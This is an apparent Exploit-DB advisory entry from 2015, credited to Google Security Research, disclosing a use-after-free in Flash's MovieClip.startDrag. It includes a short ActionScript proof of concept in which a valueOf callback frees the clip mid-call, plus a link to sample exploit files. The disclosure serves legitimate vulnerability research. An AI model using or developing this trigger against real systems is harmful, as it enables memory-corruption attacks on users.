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vendor:
N/A
by:
Google Security Research
7,5
CVSS
HIGH
Use-after-free
416
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: N/A
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
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Platforms Tested: N/A
2015

Use-after-free in MovieClip.startDrag

There is a use-after-free in MovieClip.startDrag. If a parameter an object with valueOf defined, this method can free the MovieClip, which is then used. A minimal POC follows: this.createEmptyMovieClip("mc", 1); mc.startDrag( true, {valueOf : func}, 1, 2, 3, 4); function func(){ mc.removeMovieClip(); // Fix heap here return 1; }

Mitigation:

N/A
Source

Exploit-DB raw data:

Source: https://code.google.com/p/google-security-research/issues/detail?id=592

There is a use-after-free in MovieClip.startDrag. If a parameter an object with valueOf defined, this method can free the MovieClip, which is then used.

A minimal POC follows:

this.createEmptyMovieClip("mc", 1);
mc.startDrag( true, {valueOf : func}, 1, 2, 3, 4);


function func(){
	
	mc.removeMovieClip();
	
        // Fix heap here

	return 1;
	
	}
	
A sample fla and swf are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39041.zip

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